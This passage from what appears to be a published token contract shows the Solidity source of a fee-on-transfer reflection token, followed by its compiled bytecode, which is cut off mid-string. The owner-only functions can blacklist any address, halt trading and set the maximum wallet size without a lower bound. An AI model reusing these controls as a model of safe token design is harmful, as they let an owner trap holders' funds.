= _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612ec5565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f96565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fee565b61087b565b6040516102649190613049565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906130c3565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906130ed565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190613108565b6108d0565b6040516102f79190613049565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b60405161032291906130ed565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d9190613177565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b60405161037891906131a1565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906131bc565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613215565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c91906131bc565b610c51565b60405161041e91906130ed565b60405180910390f35b34801561043357600080fd5b5061043c610ca2565b005b34801561044a57600080fd5b5061046560048036038101906104609190613242565b610df5565b005b34801561047357600080fd5b5061047c610ea5565b60405161048991906130ed565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b491906131bc565b610eab565b6040516104c691906130ed565b60405180910390f35b3480156104db57600080fd5b506104e4610ec3565b6040516104f191906131a1565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c9190613215565b610eec565b005b34801561052f57600080fd5b50610538610f9e565b60405161054591906130ed565b60405180910390f35b34801561055a57600080fd5b50610563610fa4565b6040516105709190612f96565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613242565b610fe1565b005b3480156105ae57600080fd5b506105c960048036038101906105c4919061326f565b611080565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612fee565b61127b565b6040516105ff9190613049565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a91906131bc565b611299565b60405161063c9190613049565b60405180910390f35b34801561065157600080fd5b5061065a6112b9565b005b34801561066857600080fd5b50610683600480360381019061067e9190613331565b611392565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613391565b6114cc565b6040516106b991906130ed565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613242565b611553565b005b3480156106f757600080fd5b50610712600480360381019061070d91906131bc565b6115f2565b005b61071c6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a09061341d565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd61343d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108329061349b565b9150506107ac565b5050565b60606040518060400160405280600781526020017f4b696e7461726f00000000000000000000000000000000000000000000000000815250905090565b600061088f6108886117b4565b84846117bc565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611987565b61099e846108e96117b4565b6109998560405180606001604052806028815260200161412460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f6117b4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220c9092919063ffffffff16565b6117bc565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e66117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a9061341d565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad66117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a9061341d565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc16117b4565b73ffffffffffffffffffffffffffffffffffffffff161480610c375750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1f6117b4565b73ffffffffffffffffffffffffffffffffffffffff16145b610c4057600080fd5b6000479050610c4e81612270565b50565b6000610c9b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122dc565b9050919050565b610caa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e9061341d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfd6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e819061341d565b60405180910390fd5b674563918244f40000811115610ea257806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ef46117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f789061341d565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600781526020017f4b696e7461726f00000000000000000000000000000000000000000000000000815250905090565b610fe96117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d9061341d565b60405180910390fd5b8060188190555050565b6110886117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c9061341d565b60405180910390fd5b60008410158015611127575060048411155b611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90613556565b60405180910390fd5b60008210158015611178575060148211155b6111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae906135e8565b60405180910390fd5b600083101580156111c9575060048311155b611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff9061367a565b60405180910390fd5b6000811015801561121a575060148111155b611259576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112509061370c565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061128f6112886117b4565b8484611987565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112fa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1614806113705750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113586117b4565b73ffffffffffffffffffffffffffffffffffffffff16145b61137957600080fd5b600061138430610c51565b905061138f8161234a565b50565b61139a6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141e9061341d565b60405180910390fd5b60005b838390508110156114c657816005600086868581811061144d5761144c61343d565b5b905060200201602081019061146291906131bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114be9061349b565b91505061142a565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61155b6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115df9061341d565b60405180910390fd5b8060178190555050565b6115fa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e9061341d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee9061379e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561182c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182390613830565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561189c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611893906138c2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197a91906130ed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ee90613954565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5e906139e6565b60405180910390fd5b60008111611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190613a78565b60405180910390fd5b611ab2610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b205750611af0610ec3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0b57601560149054906101000a900460ff16611baf57611b41610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba590613b0a565b60405180910390fd5b5b601654811115611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90613b76565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c985750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90613c08565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d845760175481611d3984610c51565b611d439190613c28565b10611d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7a90613cf0565b60405180910390fd5b5b6000611d8f30610c51565b9050600060185482101590506016548210611daa5760165491505b808015611dc2575060158054906101000a900460ff16155b8015611e1c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e345750601560169054906101000a900460ff165b8015611e8a5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ee05750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f0857611eee8261234a565b60004790506000811115611f0657611f0547612270565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fb25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120655750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120645750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561207357600090506121fa565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561211e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561213657600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121e15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121f957600a54600c81905550600b54600d819055505b5b612206848484846125d0565b50505050565b6000838311158290612254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224b9190612f96565b60405180910390fd5b50600083856122639190613d10565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122d8573d6000803e3d6000fd5b5050565b6000600654821115612323576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231a90613db6565b60405180910390fd5b600061232d6125fd565b9050612342818461262890919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561238157612380612d24565b5b6040519080825280602002602001820160405280156123af5781602001602082028036833780820191505090505b50905030816000815181106123c7576123c661343d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561246957600080fd5b505afa15801561247d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124a19190613deb565b816001815181106124b5576124b461343d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061251c30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bc565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612580959493929190613f11565b600060405180830381600087803b15801561259a57600080fd5b505af11580156125ae573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125de576125dd612672565b5b6125e98484846126b5565b806125f7576125f6612880565b5b50505050565b600080600061260a612894565b91509150612621818361262890919063ffffffff16565b9250505090565b600061266a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128f6565b905092915050565b6000600c5414801561268657506000600d54145b15612690576126b3565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126c787612959565b95509550955095509550955061272586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129c190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ba85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280681612a69565b6128108483612b26565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161286d91906130ed565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea0000090506128ca683635c9adc5dea0000060065461262890919063ffffffff16565b8210156128e957600654683635c9adc5dea000009350935050506128f2565b81819350935050505b9091565b6000808311829061293d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129349190612f96565b60405180910390fd5b506000838561294c9190613f9a565b9050809150509392505050565b60008060008060008060008060006129768a600c54600d54612b60565b92509250925060006129866125fd565b905060008060006129998e878787612bf6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a0383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061220c565b905092915050565b6000808284612a1a9190613c28565b905083811015612a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a5690614017565b60405180910390fd5b8091505092915050565b6000612a736125fd565b90506000612a8a8284612c7f90919063ffffffff16565b9050612ade81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a0b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b3b826006546129c190919063ffffffff16565b600681905550612b5681600754612a0b90919063ffffffff16565b6007819055505050565b600080600080612b8c6064612b7e888a612c7f90919063ffffffff16565b61262890919063ffffffff16565b90506000612bb66064612ba8888b612c7f90919063ffffffff16565b61262890919063ffffffff16565b90506000612bdf82612bd1858c6129c190919063ffffffff16565b6129c190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c0f8589612c7f90919063ffffffff16565b90506000612c268689612c7f90919063ffffffff16565b90506000612c3d8789612c7f90919063ffffffff16565b90506000612c6682612c5885876129c190919063ffffffff16565b6129c190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c925760009050612cf4565b60008284612ca09190614037565b9050828482612caf9190613f9a565b14612cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce690614103565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d5c82612d13565b810181811067ffffffffffffffff82111715612d7b57612d7a612d24565b5b80604052505050565b6000612d8e612cfa565b9050612d9a8282612d53565b919050565b600067ffffffffffffffff821115612dba57612db9612d24565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612dfb82612dd0565b9050919050565b612e0b81612df0565b8114612e1657600080fd5b50565b600081359050612e2881612e02565b92915050565b6000612e41612e3c84612d9f565b612d84565b90508083825260208201905060208402830185811115612e6457612e63612dcb565b5b835b81811015612e8d5780612e798882612e19565b845260208401935050602081019050612e66565b5050509392505050565b600082601f830112612eac57612eab612d0e565b5b8135612ebc848260208601612e2e565b91505092915050565b600060208284031215612edb57612eda612d04565b5b600082013567ffffffffffffffff811115612ef957612ef8612d09565b5b612f0584828501612e97565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f48578082015181840152602081019050612f2d565b83811115612f57576000848401525b50505050565b6000612f6882612f0e565b612f728185612f19565b9350612f82818560208601612f2a565b612f8b81612d13565b840191505092915050565b60006020820190508181036000830152612fb08184612f5d565b905092915050565b6000819050919050565b612fcb81612fb8565b8114612fd657600080fd5b50565b600081359050612fe881612fc2565b92915050565b6000806040838503121561300557613004612d04565b5b600061301385828601612e19565b925050602061302485828601612fd9565b9150509250929050565b60008115159050919050565b6130438161302e565b82525050565b600060208201905061305e600083018461303a565b92915050565b6000819050919050565b600061308961308461307f84612dd0565b613064565b612dd0565b9050919050565b600061309b8261306e565b9050919050565b60006130ad82613090565b9050919050565b6130bd816130a2565b82525050565b60006020820190506130d860008301846130b4565b92915050565b6130e781612fb8565b82525050565b600060208201905061310260008301846130de565b92915050565b60008060006060848603121561312157613120612d04565b5b600061312f86828701612e19565b935050602061314086828701612e19565b925050604061315186828701612fd9565b9150509250925092565b600060ff82169050919050565b6131718161315b565b82525050565b600060208201905061318c6000830184613168565b92915050565b61319b81612df0565b82525050565b60006020820190506131b66000830184613192565b92915050565b6000602082840312156131d2576131d1612d04565b5b60006131e084828501612e19565b91505092915050565b6131f28161302e565b81146131fd57600080fd5b50565b60008135905061320f816131e9565b92915050565b60006020828403121561322b5761322a612d04565b5b600061323984828501613200565b91505092915050565b60006020828403121561325857613257612d04565b5b600061326684828501612fd9565b91505092915050565b6000806000806080858703121561328957613288612d04565b5b600061329787828801612fd9565b94505060206132a887828801612fd9565b93505060406132b987828801612fd9565b92505060606132ca87828801612fd9565b91505092959194509250565b600080fd5b60008083601f8401126132f1576132f0612d0e565b5b8235905067ffffffffffffffff81111561330e5761330d6132d6565b5b60208301915083602082028301111561332a57613329612dcb565b5b9250929050565b60008060006040848603121561334a57613349612d04565b5b600084013567ffffffffffffffff81111561336857613367612d09565b5b613374868287016132db565b9350935050602061338786828701613200565b9150509250925092565b600080604083850312156133a8576133a7612d04565b5b60006133b685828601612e19565b92505060206133c785828601612e19565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613407602083612f19565b9150613412826133d1565b602082019050919050565b60006020820190508181036000830152613436816133fa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006134a682612fb8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134d9576134d861346c565b5b600182019050919050565b7f4275792072657761726473206d757374206265206265747765656e203025206160008201527f6e64203425000000000000000000000000000000000000000000000000000000602082015250565b6000613540602583612f19565b915061354b826134e4565b604082019050919050565b6000602082019050818103600083015261356f81613533565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e64203260008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b60006135d2602283612f19565b91506135dd82613576565b604082019050919050565b60006020820190508181036000830152613601816135c5565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e2030252060008201527f616e6420342500000000000